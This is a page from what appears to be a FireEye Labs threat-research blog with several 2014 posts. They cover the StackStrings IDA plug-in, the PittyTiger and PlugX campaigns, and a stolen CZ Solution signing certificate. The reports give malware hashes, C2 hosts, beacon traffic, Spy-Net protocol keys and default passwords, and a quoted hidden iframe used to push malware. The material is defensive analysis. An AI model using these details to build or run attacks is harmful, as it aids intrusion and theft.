Blog

Information and insight on today's advanced threats from the leader in advanced threat prevention.

All Posts


FLARE IDA Pro Script Series: Automatic Recovery of Constructed Strings in Malware

The FireEye Labs Advanced Reverse Engineering (FLARE) Team is dedicated to sharing knowledge and tools with the community. We started with the release of the FLARE On Challenge in early July where thousands of reverse engineers and security enthusiasts participated. Stay tuned for a write-up of the challenge solutions in an upcoming blog post.

This post is the start of a series where we look to aid other malware analysts in the field. Since IDA Pro is the most popular tool used by malware analysts, we’ll focus on releasing scripts and plug-ins to help make it an even more effective tool for fighting evil. In the past, at Mandiant we released scripts on GitHub and we’ll continue to do so at the following new location https://github.com/fireeye/flare-ida. This is where you will also find the plug-ins we released in the past: Shellcode Hashes and Struct Typer. We hope you find all these scripts as useful as we do.

Quick Challenge

Let’s start with a simple challenge. What two strings are printed when executing the disassembly shown in Figure 1?

figure1

Figure 1: Disassembly challenge

If you answered “Hello world\n” and “Hello there\n”, good job! If you didn’t see it then Figure 2 makes this more obvious. The bytes that make up the strings have been converted to characters and the local variables are converted to arrays to show buffer offsets.

Figure 2: Disassembly challenge with markup

Figure 2: Disassembly challenge with markup

Reverse engineers are likely more accustomed to strings that are a consecutive sequence of human-readable characters in the file, as shown in Figure 3. IDA generally does a good job of cross-referencing these strings in code as can be seen in Figure 4.

Figure 3: A simple string

Figure 3: A simple string

 

Figure 4: Using a simple string

Figure 4: Using a simple string

Manually constructed strings like in Figure 1 are often seen in malware. The bytes that make up the strings are stored within the actual instructions rather than a traditional consecutive sequence of bytes. Simple static analysis with tools such as strings cannot detect these strings. The code in Figure 5, used to create the challenge disassembly, shows how easy it is for a malware author to use this technique.

Figure 5: Challenge source code

Figure 5: Challenge source code

Automating the recovery of these strings during malware analysis is simple if the compiler follows a basic pattern. A quick examination of the disassembly in Figure 1 could lead you to write a script that searches for mov instructions that begin with the opcodes C6 45 and then extract the stack offset and character bytes. Modern compilers with optimizations enabled often complicate matters as they may:

  • Load frequently used characters in registers which are used to copy bytes into the buffer
  • Reuse a buffer for multiple strings
  • Construct the string out of order

Figure 6 shows the disassembly of the same source code that was compiled with optimizations enabled. This caused the compiler to load some of the frequently occurring characters in registers to reduce the size of the resulting assembly. Extra instructions are required to load the registers with a value like the 2-byte mov instruction at 0040115A, but using these registers requires only a 4-byte mov instruction like at 0040117D. The mov instructions that contain hard-coded byte values are 5-bytes, such as at 0040118F.

Figure 6: Compiler optimizations

Figure 6: Compiler optimizations

 

The StackStrings IDA Pro Plug-in

To help you defeat malware that contains these manually constructed strings we’re releasing an IDA Pro plug-in named StackStrings that is available at https://github.com/fireeye/flare-ida. The plug-in relies heavily on analysis by a Python library called Vivisect. Vivisect is a binary analysis framework frequently used to augment our analysis. StackStrings uses Vivisect’s analysis and emulation capabilities to track simple memory usage by the malware. The plug-in identifies memory writes to consecutive memory addresses of likely string data and then prints the strings and locations, and creates comments where the string is constructed. Figure 7 shows the result of running the above program with the plug-in.

Figure 7: StackStrings plug-in results

Figure 7: StackStrings plug-in results

 

While the plug-in is called StackStrings, its analysis is not just limited to the stack. It also tracks all memory segments accessed during Vivisect’s analysis, so manually constructed strings in global data are identified as well as shown in Figure 8.

Figure 8: Sample global string

Figure 8: Sample global string

Simple, manually constructed WCHAR strings are also identified by the plug-in as shown in Figure 9.

Figure 9: Sample WCHAR data

Figure 9: Sample WCHAR data

 

Installation

Download Vivisect from http://visi.kenshoto.com/viki/MainPage and add the package to your PYTHONPATH environment variable if you don’t already have it installed.

Clone the git repository at https://github.com/fireeye/flare-ida. The python\stackstring.py file is the IDA Python script that contains the plug-in logic. This can either be copied to your %IDADIR%\python directory, or it can be in any directory found in your PYTHONPATH. The plugins\stackstrings_plugin.py file must be copied to the %IDADIR%\plugins directory.

Test the installation by running the following Python commands within IDA Pro and ensure no error messages are produced:

Screen Shot 2014-08-01 at 1.06.24 PM

To run the plugin in IDA Pro go to Edit – Plugins – StackStrings or press Alt+0.

Known Limitations

The compiler may aggressively optimize memory and register usage when constructing strings. The worst-case scenario for recovering these strings occurs when a memory buffer is reused multiple times within a function, and if string construction spans multiple basic blocks. Figure 10 shows the construction of “Hello world\n” and “Hello there\n”. The plug-in attempts to deal with this by prompting the user by asking whether you want to use the basic-block aggregator or function aggregator.  Often the basic-block level of memory aggregation is fine, but in this situation running the plug-in both ways provides additional results.

Figure 10: Two strings, one buffer, multiple basic blocks

Figure 10: Two strings, one buffer, multiple basic blocks

 

You’ll likely get some false positives due to how Vivisect initializes some data for its emulation. False positives should be obvious when reviewing results, as seen in Figure 11.

Figure 11: False positive due to memory initialization

Figure 11: False positive due to memory initialization

The plug-in aggressively checks for strings during aggregation steps, so you’ll likely get some false positives if the compiler sets null bytes in a stack buffer before the complete string is constructed.

The plug-in currently loads a separate Vivisect workspace for the same executable loaded in IDA. If you’ve manually loaded additional memory segments within your IDB file, Vivisect won’t be aware of that and won’t process those.

Vivisect’s analysis does not always exactly match that of IDA Pro, and differences in the way the stack pointer is tracked between the two programs may affect the reconstruction of stack strings.

If the malware is storing a binary string that is later decoded, even with a simple XOR mask, this plug-in likely won’t work.

The plug-in was originally written to analyze 32-bit x86 samples. It has worked on test 64-bit samples, but it hasn’t been extensively tested for that architecture.

Conclusion

StackStrings is just one of many internally developed tools we use on the FLARE team to speed up our analysis. We hope it will help speed up your analysis too. Stay tuned for our next post where we’ll release another tool to improve your malware analysis workflow.

Spy of the Tiger

A recent report documents a group of attackers known as “PittyTiger” that appears to have been active since at least 2011; however, they may have been operating as far back as 2008. We have been monitoring the activities of this group and believe they are operating from China.

This group leverages social engineering to deliver spearphishing emails, in a variety of languages including English, French and Chinese, and email phishing pages to their targets. The attackers use a variety of different malware and tools to maintain command and control (C2) and move laterally through their targets’ networks.

In a recent attack against a French company, the attackers sent simple, straightforward messages in English and French from free email addresses using names of actual employees of the targeted company.

pittytiger1

pittytiger2

We have also observed this group using a Yahoo! email phishing kit, with phishing pages for multiple regions and in multiple languages.

The malicious documents exploit vulnerable versions of Microsoft Office. The attackers used two different exploits CVE-2012-0158 and CVE-2014-1761.

The documents that exploit CVE-2012-0158 were built using a tool that leaves behind the metadata which indicates that the author is “Tran Duy Linh”. (This builder has been shared across multiple threat groups that are otherwise unconnected).

The documents that exploit CVE-2014-1761 contain metadata that matches malicious documents created by both the Jdoc builder and the Metasploit Framework, however, the exact builder tool used by the attackers remains unclear.

This threat group uses a first-stage malware known as Backdoor.APT.Pgift  (aka Troj/ReRol.A), which is dropped via malicious documents and connects back to a C2 server. This malware communicates some information about the compromised computer; however, its primary function is to deliver the second-stage malware to the compromised computer.

Backdoor.APT.Pgift Builder

During our investigation, we discovered a builder used in conjunction with the Backdoor.APT.Pgift malware. This builder is used to create and test files placed on the C2 server. 

pittytiger3

The builder creates three files:

  • 25dd831ae7d720998a3e3a8d205ab684  dr.asp
  • 4b89c31d1d7744bcf5049d582d35e717  Install-Dll.bat
  • e738286a0031621d50aeb5fc1d95d7a4  JHttpSrv.dll

The dr.asp file is placed on a web server, and malware on compromised systems will beacon to it. The file can retrieve the compromised host’s IP address and returns either a 32-bit or 64-bit second-stage executable depending on the compromised host’s environment.

pittytiger4

The Install-Dll.bat file simply installs JHttpSrv.dll by running the command:

  • regsrv jhttpsrv

The JHttpSrv.dll handles the incoming, encoded data from compromised hosts.

This data is written to a text file in a directory named “log” with the following format:

  • IP Address-YYYYMMDD-HHMMSS.[3 digits].txt

This data contains information about the compromised system including:

  • Hostname
  • Username
  • System Type (32-bin or 64-bit)
  • Operating System
  • Organization
  • Owner
  • Ports and Processes
  • Running Software
  • Installed Software
  • Network Configuration

Although this tool has some information-gathering capabilities, it is primarily a “downloader” designed to push second-stage malware to a compromised system.

Previous Attacks

pittytiger5

It appears the Backdoor.APT.Pgift malware was used in an earlier attack against a target in Taiwan. Although the email date shows September 2010, the actual email appears to have been sent in January 2014. The malicious attachment 中秋節酒品禮薈萃.doc (4c350726bb7773f0ac98bdd665ef93dc) exploits CVE-2012-0158 to drop f3b1a1c18c783c2e949e68f0dd047eae. The network communication is:

POST /pgift.asp HTTP/1.1
Content-Length: 9637
User-Agent: Mozilla/4.0 (compatible;)
Host: 113.10.221.196:8080
Connection: Keep-Alive
Cache-Control: no-cache

Although the malware is the same, this version uses the filename “pgift.asp” instead of “dr.asp.”

We have observed attacks against targets in Taiwan using phishing emails written in Traditional Chinese, and the repeated use of .tw domains as command and control servers may indicate an interest in Taiwan as well.

Malware

The PittyTiger group uses various other malware including:

  • Backdoor.APT.PittyTiger1.3 (aka CT RAT) – This malware is likely used as a second-stage backdoor. The behavior of this sample is similar to the “old” PittyTiger but is distinct. The attackers labeled it as PittyTiger v. 1.3 and use an interface that displays the system information associated with a compromised computer and provides the attacker with a remote shell. The attackers may be using this as second-stage malware.
  • Backdoor.APT.PittyTiger – This malware is the classic “PittyTiger” malware (PittyTigerV1.0) that was heavily used by this group in 2012-2013. This malware allows the attackers to use a remote shell, upload and download files and capture screenshots.
  • Backdoor.APT.Lurid (aka MM RAT / Troj/Goldsun-B) – This malware is a variant of the Enfal/Lurid malware used by a variety of different groups since at least 2006. This variant has the same functionality, but the file names have been changed. We have observed the Enfal/Lurid malware in use since 2011 and in conjunction with Backdoor.APT.Pgift as the payload of a malicious document used in spearphishing attacks. It also appears the attackers use this as second-stage malware.
  • Gh0st variants – A report by Cassidian Cyber Security reveals the attackers also use variants of Gh0st RAT, a well-known RAT used by a variety of attackers. These variants are known as Paladin RAT and Leo RAT.
  • PoisonIvy – This group also used the Poison Ivy malware during 2008-2009. We analyzed PoisonIvy samples that connect to domain names used by this group. The samples were compiled in 2008 and 2009 (one of the samples with a 2008 compile date was also submitted to Virustotal in 2008, leading us to believe the timestamps have not been altered).

The PittyTiger group uses a variety of malware to achieve their objectives. We have not observed these attackers using 0day exploits; rather, they appear to acquire access to builders that are more widely distributed that can be used to create malicious documents.

Acknowledgements

We would like to thank Alex Lanstein, Jen Kolde, Jonathan Wrolstad, Ned Moran and Thoufique Haq.

Samples

Backdoor.APT.Pgift

5e2360a8c4a0cce1ae22919d8bff49fd
f74a7a7f43dfce7ff2851baefe19ef63
05de3bfb5da1dcf08f9ca0bd589364bf
5e2360a8c4a0cce1ae22919d8bff49fd
79e48961d1ee982a466d222671a42ccb
bf95e89906b8a17fd611002660ffff32
ed35e43142b42b57f518197d930471d9
5e2360a8c4a0cce1ae22919d8bff49fd

Backdoor.APT.PittyTiger1.3

f65dc0b3eeb3c393e89ab49a3fac95a8

Backdoor.APT.Lurid

b72cf03822cd03a4923195cb7db9ac41
eb658d398ac54236564dd52b23943736
728d6d3c98b17de3261eaf76b9c3eb7a
735d37a1fde0f8d8924a70e9101c45b1
9712235ba979ef5a23db3ebdc41d9a02
d4be094c7f767fc6d9eda1665d536484

Backdoor.APT.PittyTiger

1097a30d91b0e8adaec8951fb639ffe0
1f7796e76427c96d57086fcf797518f7
0618961c6abf67670658c659a4b3897f
370e2ebe5d72678affd39264a0d2fedd
55e456339936a56c73a7883ea1ddb672
55e456339936a56c73a7883ea1ddb672
7fade5e7576cc72559c62660371279e8
fa53ca3339bb5619f6e39215a4697b52
1cea8afd101ab50087122231acf88407
26be2cbb00158dfab6c81976d93748e8
ce15fa3338b7fe780e85c511d5e49a98
a494010a51705f7720d3cd378a31733a

PoisonIvy

ae35a23cb418af084d10820bb0eae1d8
99a5fd0eba39efc9cba880d9629217e0
a2494e1e528c4a973232d027172bee44

Black Hat USA 2014: The Ultimate Cybersecurity Event

Black Hat USA is about to return for its 17th year in Las Vegas, NV. The show will bring together the brightest minds in the world of cybersecurity for a six-day period where learning, networking, and skill-building top the activity list. FireEye will be there in full force.

Here is what you need to know:

  • Be on the Look Out: FireEye and Mandiant will have a presence at the conference in booths 411 and 246, respectively. You’ll be able to watch live demos, attend presentations, and get the latest updates on our full platform of technologies and services.
  • Jump into the Trenches: Join FireEye CTO Dave Merkel on Thursday, August 7 from 1-2PM for his insightful presentation “Lessons from the Trenches: Advanced Techniques for Dealing with Advanced Attacks” which will review the latest approaches attackers are using to compromise organizations and, more importantly, what the most innovative security teams are doing to stay ahead. Mr. Merkel will be drawing on data and anecdotes from hundreds of organizations, and will outline how leading security teams have reorganized, re-architected and realigned their security strategies.
  • Take a Practical View: Visit the FireEye booth (411) for ongoing presentations with a focus on various case studies that can be applied to everyday activities. Presentations will be interactive and include audience responses.
  • View Live Demonstrations: FireEye will have eight demo stations networked to live products and solutions to recreate real and recognizable environments.
  • Come out and Party: Join the FireEye crew for an event co-sponsored by Rapid7 on Wednesday, August 6 at XS Nightclub in Wynn/Encore. Register for the party here!
  • M After Dark: There is nothing quite like Mandiant’s “M After Dark” party, which will take place on August 5, from 7-9PM at the Eye Candy Sound Lounge at Mandalay Bay. Click here for registration information.

We hope to see you in Las Vegas the week of August 2 through August 7. If you are unable to attend, check back on the blog for insights from the conference.

 

 

Pacific Ring of Fire: PlugX / Kaba

As depicted in earlier FireEye blogs, advanced cyber attacks are no strangers to the Asia Pacific region. In this blog, we take a deeper look at some of the advanced persistent threat (APT) malware that have significant presence in the APAC region, starting with PlugX (we detect it as Backdoor.APT.Kaba).

The PlugX / Kaba malware is a well-known remote access tool (RAT) believed to have been around for several years that continues to evolve itself in new attack campaigns. It is often seen used in APT campaigns alongside two other infamous RATs – PoisonIvy and Taidoor. For this blog, FireEye Labs has investigated PlugX samples discovered throughout 2013 as well as recent variants detected between January and June 2014. Countries on both sides of the Pacific incuding the United States as well as Northeast Asian countries such as South Korea, Hong Kong, Japan and Taiwan were most hit by this malware, with attacks spanning multiple industry verticals. The top  5 most targeted verticals include Technology, Aerospace / Defense, Entertainment / Media, Telecommunications and Government (Federal).

Figure 1: PlugX / Kaba Infections (by Country)

Figure 1: PlugX / Kaba Detections (by Country)

Table 1: Top 5 Affected Verticals

Table 1: Top 5 Affected Verticals

Delivering the Attacks

PlugX is most commonly distributed via an exploit, but may also be delivered using a RAR self-extracting executable. Amanda Stewart has written an excellent blog and paper about the common components of the PlugX / Kaba RAT and how it capitalizes on the DLL side-loading technique. In general, the RAT consists of DLL components that are injected into the process memory of svchost.exe. To deliver the DLL components, a “dropper” must first be executed through the use of an exploit, or via social-engineering tactics over e-mail or web to entice the victims to load an executable file.

Figure 2: Primary PlugX “Dropper” File Types

Figure 2: Primary PlugX “Dropper” File Types

While RTF files exploiting CVE-2012-0158 are nothing new, they are still most frequently used in the delivery of PlugX to its targets. The same vulnerability has also been exploited through Excel spreadsheets and Word document files. More recently, a Flash zero-day vulnerability has been exploited to deliver a PlugX payload.

Where an exploit is not used, RAR self-extracting executable (SFX) files were commonly used throughout 2013. These files often appear to have a Word or PDF icon and launch a decoy document that is displayed to the victim. The PlugX RAT is then loaded in the background without the user’s knowledge. While we have noticed a decrease in the use of this vector to deliver PlugX in 2014, it continues to be an effective technique for PlugX and other malware, so we do not expect its use to disappear entirely.

In the below example, the RAR SFX contains a script that loads the RAT (config.exe) and the decoy document (notice.doc).

Figure 3: RAR SFX Script and Files

Figure 3: RAR SFX Script and Files

Command and Control

We have found two dominant variants, SideBar and RasTLS, using 4 of the top 10 domains associated with the PlugX / Kaba command and control (C2) infrastructure. In fact, the 4 domains resolved to the same IP range based in Hong Kong likely operated by the same threat group(s).

Table 2: Top domains used in PlugX / Kaba Callbacks

Table 2: Top Domains used in PlugX / Kaba Callbacks

SideBar

The SideBar variant is delivered through RTF, Word and Excel files. Upon successfully exploitation, it drops “dw20.dll” to the %TEMP% folder. This “dw20.dll” continues to install the following files:

  • %ALLUSERS%\WS\Gadget.exe (MD5: 6b97b3cd2fcfb4b74985143230441463)
  • %ALLUSERS%\WS\SideBar.dll (MD5: 123e1841cc596c1f40e2e6693ea7dcac)
  • %ALLUSERS%\WS\SideBar.dll.doc (MD5: a0c93bdc089e1338cc392108a0e57f2f)

A service registry key is created to start “Gadget.exe” upon reboot of the infected system.
“Gadget.exe” is part of a benign “TENCENT Sidebar” application digitally signed by “Tencent Technology(Shenzhen) Company Limited “. Using the DLL-side loading method, a malicious version of“SideBar.dll” is loaded and executes the exported function “Main”.

“SideBar.dll” is a loader for “SideBar.dll.doc”, executing code at offset 0. “SideBar.dll.doc” decodes a part of its own data and is responsible for deflating a backdoor component. It spawns a new svchost.exe process and injects the backdoor into memory. This backdoor component remains only in memory, and is never saved to disk.

Figure 4: Decompressing Encoded Data

Figure 4: Decompressing Encoded Data

Version information can often be found in PlugX’s process memory. In SideBar, a DWORD value storing the internal version number was 0×20120123. The path names found in the deflated backdoor’s process memory indicating that this PlugX variant is version 6.0:

  • “d:\work\plug6.0(360)(gadget)”

The variant connects to fast.bacguarp.com and bbs.zuesinfo.com over port 8080.

RasTLS

While the RasTls variant is also dropped by document exploits, the dropped files are different. RasTls does not use the DLL side-loading method found in older variants [3]. The DWORD used to store the internal version number of RasTls was 0×20130810.

  • %ALLUSERS%\DRM\RasTls\RasTls.exe

“RasTls.exe” spawns “svchost.exe” and injects a deflated backdoor component into memory. The deflated backdoor component in memory contains a “XV” marker, instead of “MZ” and “PE” as found in regular Windows portal executable (PE) files. This is because “RasTls.exe” manually loads each section of deflated file into memory, so the file does not have to be a complete PE image.

Figure 5: Backdoor Component with “XV” maker instead of “MZ” and “PE”

Figure 5: Backdoor Component with “XV” maker instead of “MZ” and “PE”

The variant doesn’t contain strings implying version. The variant accept commands like as “ST1”, “ST2”, “TT1”,”TT2” which are different from version 6.

In memory space in the “svchost.exe”, we can see the decoded configuration information:

Figure 6: Decoded Configuration Information

Figure 6: Decoded Configuration Information

All RasTls variants have largely identical configuration and connects to scqf.bacguarp.com and scqf.zuesinfo.com over port 443. The “My_Name” mutex is also common to all RasTls variants.

PlugX Encryption Algorithm

PlugX has a variety of encryption algorithms used to encrypt its data across variants. However, the encryption style is largely similar as depicted in Figure 7.

Figure 7: PlugX Decryption Algorithm

Figure 7: PlugX Decryption Algorithm

In RasTls, the DWORD decryption key was found in the first four bytes of the encrypted string. It was also less aggressive in encrypting and hiding its data. In older variants such as “win3dx.DLL” (MD5: 7ADAE0335C9D6C9F3826CDE9747438B7), most API names were decrypted before loading and nullified after use. This makes understanding the malware slightly more difficult for malware analysts.

The supported functionalities are largely similar where it uses the identical command code. Below is a list of PlugX commands for file system manipulation:

  • 0×3000: GetDiskRelatedInformation
  • 0×3001: SearchDirectoryForFiles
  • 0×3002: SearchDirectoryRecursively
  • 0×3004: ReadFile
  • 0×3007: WriteFile
  • 0x300A: CreateDirectory
  • 0x300C: CreateWindowsDesktop
  • 0x300D: PerformSH_FileOperation
  • 0x300E: ExpandEnvironmentVariable

Some improvements were made by its developers. For example, the key logger function was updated to utilize the GetRawInputData API to collect keystrokes. “RegisterRawInputDevices” and “GetRawInputData” were two of the few API names that remain encrypted in RasTls.

Updated Key Logging Component

Figure 8: Updated Key Logging Component

PlugX / Kaba Trending

Figure 9 shows the trending of total PlugX / Kaba infections and their variants: SideBar and RasTLS. The spike in September 2013 was caused by SideBar. In 2014, we see SideBar and RasTLS on an inverse trend, with the latter on a steady increase.

Figure 9: Trending of Overall PlugX / Kaba , SideBar, RasTLS Infections

Figure 9: Trending of Overall PlugX / Kaba , SideBar, RasTLS Infections

Figure 10 shows the distribution of SideBar/RasTls variants by country. The C2 servers are located in Hong Kong, where much of the attacks have occurred. We also find a variety of countries targeted by these variants. In some of the exploit documents delivering these variants, the content revolves around the theme of NGOs and socio-political events in China and Japan. These are content that would likely be of interest to the victims who would be opening the documents.

Figure 10: Distribution of SideBar/RasTls Variants by Country

Figure 10: Distribution of SideBar/RasTls Variants by Country

Conclusion

The Asia Pacific region remains a highly attractive target of advanced cyber-attacks. Many threat groups  have a particular in interest in this region, and are likely continue to launch new attacks against targets here. We recommend that users in this region block access to the above C2 servers. FireEye Labs will continue to monitor and report on new PlugX / Kaba developments.

 

Security as a Differentiator: Investis Partners With FireEye Managed Defense to Offer Its Clients the Very Best in Cybersecurity

This is a contributed post from Alex Booth, COO, Investis

As a provider of digital corporate communication services to many of the world’s leading companies, information security is of critical importance to us here at Investis. In order to be the world’s safest platform for managing digital communications and hosting corporate sites, we wanted the strongest security partner in the business. As COO of Investis, this was a critical decision which is why I wanted to share the reasons we chose FireEye Managed Defense. To give you the short version, though, the choice was easy – the long version of which you can see in the video below or get a synopsis of in this post…

We are an ISO 27001 certified company and a member of CISP, the UK government’s cybersecurity information partnership. We believe you can never take security too seriously, especially in a digital landscape with increasingly sophisticated cybercrime. With that in mind, we wanted the most advanced solution to protect our environment and clients, and FireEye was the perfect partner to help us safeguard against advanced threats.

FireEye is the cybersecurity partner of choice for many of the US’s largest firms and its subsidiary, Mandiant, was selected by the UK Government Communications Headquarters (GCHQ) as one of four vendors certified to respond to cybersecurity attacks targeting the UK’s national infrastructure.

As a result of an on-site assessment by Mandiant consultants, we chose to augment our security team with the FireEye Managed Defense service.

We are looking forward to working with the great team over at FireEye to ensure we offer our clients the very best in cybersecurity.

The Little Signature That Could: The Curious Case of CZ Solution

Malware authors are always looking for new ways to masquerade their actions. Attackers are looking for their malware to be not only fully undetectable, but also appear valid on a system, so as not to draw attention. Digital signatures are one way malware authors keep under the radar. Digital signatures are an easy, quick way to verify the authenticity of an application utilizing the signature.

Threat actors routinely steal digital signing certificates to hide in plain sight. There are recent reports of banking Trojans such as Zeus, using valid signatures to get past both automated and human defenses. Part of performing accurate threat intelligence is continually looking to the past to help better predict the future. This is proven in the samples we will be discussing in this blog. Many of the samples throughout this blog are from the summer of 2013. These particular samples however, piqued our interest because of the mass distribution of RATs in a particular targeted region. It also reminded us of a recent XtremeRAT blog we published earlier in 2014.

The Little Signature That Could

While investigating an uptick in Spy-Net spam campaigns, we came across a malware binary that was digitally signed that struck our interest. Spy-Net allows an attacker to interact with the victim via a remote shell to upload/download files, interact with the registry, running processes and services as well as capture images of the desktop and record form the webcam and audio. It also contains functionality to extract saved passwords and turn the victim into a proxy server. During the build process, an attacker can choose to enable a keylogger and evasion functionality designed to stop the information process if a debugger or virtual machine is found.

We noticed that one of the Spy-Net binary files, sc2.exe (MD5: 6a56f6735f4b16a60f39b18842fd97d0), upon closer inspection, was utilizing a valid digital signature, from a company called CZ Solution Co. Ltd.

cz1

Figure 1: Signature Details of sc2.exe

Looking closer at the signature, we noticed that all of the details were intact, and appeared to be valid. There are two additional code-signing certificates issued to CZ Solution Co. Ltd.

cz2

Figure 2: Additional Signature Details

Investigation of sc2.exe showed typical Spy-Net behaviors. The sample beaconed out to ekinox.no-ip.info. From here, we decided to pivot off the CZ Solution signature and see what we could find.

Connections Emerge

As we started to pivot off the CZ Solution signature, we started to see some interesting commonalities. Pivoting proved that the CZ Solution signature was not just used in Spy-Net binaries. We quickly found that this signature was being used with XtremeRAT, a popular RAT that cybercriminals and targeted attackers use regularly. The code of XtremeRAT is shared amongst several other Delphi RAT projects including Spy-Net, CyberGate, and Cerberus.

XtremeRAT allows an attacker to:

  • Interact with the victim via a remote shell
  • Upload/download files
  • Interact with the registry
  • Manipulate running processes and services
  • Capture images of the desktop
  • Record from connected devices, such as a webcam or microphone

One binary for instance, m.exe (MD5: c27232691dacf4cff24a4d04b3b2896b) which was XtremeRAT, was seen beaconing out to http://omegaphotography.[co].uk, batardchris.servehttp.com /1234567890.functions, and www.batteurmag.com/[plugin].xtr.

Likewise, we saw multiple samples of the Zeus Trojan utilizing the CZ Solution signature. Zeus modifiers can tune Zeus to steal information they are interested in; typically login credentials for online social networkse-mail accountsonline banking or other online financial services. Zeus is commonly seen targeting customers of financial institutions.

One of the Zeus samples, uk.exe (MD5: dcd3e45d40c8817061f716557e7a05b6) that was utilizing the CZ Solution signature, was beaconing out to claire-morin.com/file.php.

Looking at the three samples show that CZ Solution was used to create and sign Spy-Net, XtremeRAT, and Zeus samples. Graphing out the connections between the samples we profiled, you can quickly see how fast this web of similarities continue.

cz3Figure 3: Connection Profile of Binaries Using CZ Solution

The French Connection and C2 overlap

Attribution of actors and/or campaigns can often be a difficult and tedious task. However, since we were dealing with so many inter-twining binaries, we could start to draw some parallels between samples.

When looking at the overall connections between the CZ solution signature, you can start to see a trend emerge.  First, there is some C2 overlap. For instance Dllsv.exe (MD5: 3f042fd6b9ce7e23b3c84c6f7323dd75) communicates out to ekinox.no-ip.info, using the same CZ Solution cert. This malware is flagged as BozokRAT; a user-friendly RAT that can upload and download files to and from a computer, modify registry entries, and perform other typical RAT functions. That same C2, ekinox.no-ip.info, is also seen used by the aforementioned Spy-Net binary, sc2.exe (MD5: 6a56f6735f4b16a60f39b18842fd97d0).

In another example of C2 overlap, a file named uk.exe, (MD5: 9c11ef09131a3373eef5c9d83802d56b) uses its C2 as omega-photography.co.uk. This sample is an active Zeus binary. That same C2 is used with a file named x.exe, (MD5: c27232691dacf4cff24a4d04b3b2896b), an active XtremeRAT binary.

Next, we needed to identify at least one infection vector to ensure we could track how one of the binaries using the CZ Solution signature was getting into environments.

In one case, we found the infection vector for an XtremeRAT binary that was using the CZ Solution certificate. The binary came in the form of phished email (MD5: 7c00ba0fcbfee6186994a8988a864385) purportedly from Armani regarding an order.

cz4

The email was in French and the headers were interesting, as the same sender has been seen in multiple French spam runs.

cz5

The attachment in the email is using the RTLO trick to disguise a 7zip file as a PDF.

While looking at the all the samples we correlated and pivoted off of, we found that a majority of both the language and C2’s being used all revolved around the French language. The domains that were part of the C2 infrastructure were almost all exclusively French, as was the registrant information for the domains in question.

Spy-Net C2 Protocol Analysis

As we have already shared some analysis details of XtremeRAT in a previous blog, we decided to share some information and tools we built regarding Spy-Net this time. This information is based on our analysis of Spy-Net version 2.6 specifically. Other versions of Spy-Net may have significant changes to the protocol. Spy-Net 2.6 utilizes a homegrown protocol like many other publicly available RATs. It’s an ASCII based, pipe-delimited protocol utilizing Portuguese keywords that employs two totally different forms of obfuscation: one for outbound communication to the attacker and another for inbound communication to the implant. The outbound communications are compressed with zlib and encrypted with RC4. The RC4 key is hard-coded and is updated with version changes. For example, the RC4 key for Spy-Net 2.6 is njkvenknvjebcddlaknvfdvjkfdskv, while for CyberGate 1.07, which has a similar (if not the same) protocol the key is njgnjvejvorenwtrnionrionvironvrnvcg107 and CyberGate 1.18’s key is njgnjvejvorenwtrnionrionvironvrnvcg117.

The astute reader may have noticed that the last three numbers of the CyberGate keys (roughly) represent the version number of CyberGate. The inbound communication to the implant employs an ASCII encoding scheme similar to Base64.  This protocol begins with a simple authentication scheme where the implant sends an authentication password that is validated by the client. This password is configurable by the attacker and defaults to abcd1234.  The implant then proceeds to send the entirety of its configuration information, as configured by the attacker, to the client so it can be displayed on its “Configuration” tab.

Authentication

Implant->Client: mypassword|Y|

Configuration Request and Response

Client->Implant: configuracoesdoserver|

Implant->Client: configuracoesdoserver|configuracoesdoserver|192.168.1.2:81|#myID|mypassword|C:\WINDOWS\install\server.exe|C:\Program Files\Internet Explorer\iexplore.exe| | |{0OP8GNN1-GIWW-CC7M-AJ0I-6Y554UOJJ241}|Policies|FALSE|TRUE|TRUE|TRUE|***MUTEX***| | |TRUE|FALSE| | | | | | |FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|server.exe#crack.exe#|FALSE|

The outbound communications from the implant to the client are prepended with an ASCII representation of the length of the payload followed by a pipe character and a new line character.

cz6

There is a noticeable lack of sophistication in Spy-Net’s code. For example, in some cases the length indicator is followed by a pipe and a single new line (\n) character as seen in *nix based operating systems. In other cases, the indicator is followed by the carriage return and new line characters (\r\n), as seen in Windows operating systems. This lack of conformity is also witnessed in how there are two totally different schemes used for obfuscation, and in how obfuscation is not used for file transfers as it is otherwise used throughout the protocol.

Spy-Net Protocol Decoder

Since Spy-Net is a publicly available RAT that we see in use quite often, we decided to build a ChopShop module for it and share it in cooperation with our friends at MITRE.  The module is now available as a standard part of the framework available on GitHub.  We are also sharing a Spy-Net configuration dumping pycommand for Immunity Debugger.  While hunting for related samples in VirusTotal, we came across a pcap that had captured the initial infection and subsequent communication of the Spy-Net binary we initially mentioned, (MD5: 6a56f6735f4b16a60f39b18842fd97d0). This gave us a great opportunity to test our new decoder. One thing that Spy-Net implants will commonly send out automatically is a thumbnail image of the user’s desktop. This is displayed on the client.

cz7

Our decoder can extract such images from the pcap and what we found gave us a further hint that we may be dealing with attacks focused in France. Although difficult to read due to the very low resolution of the thumbnail, our pcap decoder was able to tell us that the title of the browser window currently open in this screenshot is “Football – MAXIFOOT l’actualit  foot et transfert – Windows Internet Explorer.”

cz8

Distribution via Malicious Java Applet

According to the details of the pcap we decoded, this French football Web site (maxifoot.fr) was apparently compromised and had an iframe inserted into it that pointed to another compromised Web site, a Canadian addiction recovery resource: unwasted.ca.

<iframe width=”1px” height=”1px” src=”hxxp://unwasted.ca/skins/index.html” style=”display: block;” ></iframe>

The latter site hosted a malicious Java applet that downloaded the Pony/Fareit malicious downloader. The downloader then proceeded to install ZeuS and download and execute the aforementioned Spy-Net binary. All of these binaries were signed with the stolen digital certificate. The malicious Java applet used to install the Pony downloader was created by Foxxy Software and had been previously written about by ESET.

RAT Configuration Details

We assembled a compilation of the meaningful configuration data found in the XtremeRAT and Spy-Net samples we came across in our analyses. You can observe some similarities between the samples’ configurations.

MD5 Version Dir/Path ID Group Mutex Password
f5e6c0a2c9000311513521947a76cb4b Spy-Net 2.6 C:\WINDOWS\system32\conhost\conhost.exe Updater2014 NA R5438NM5 abcd1234
6a56f6735f4b16a60f39b18842fd97d0 Spy-Net 2.6 C:\WINDOWS\system32\Winini\taskhost.exe Uframer NA A7TF5W abcd1234
7416ec2889227f046f48c15c45c102da XtremeRAT 3.5 Private InstallDir SpaM SPAM eyA8znpc NA
2e776e18dec61cf6ccd68fbacd55fab3 XtremeRAT 3.5 Private svhost Diesel Diesel lNFAH0 NA
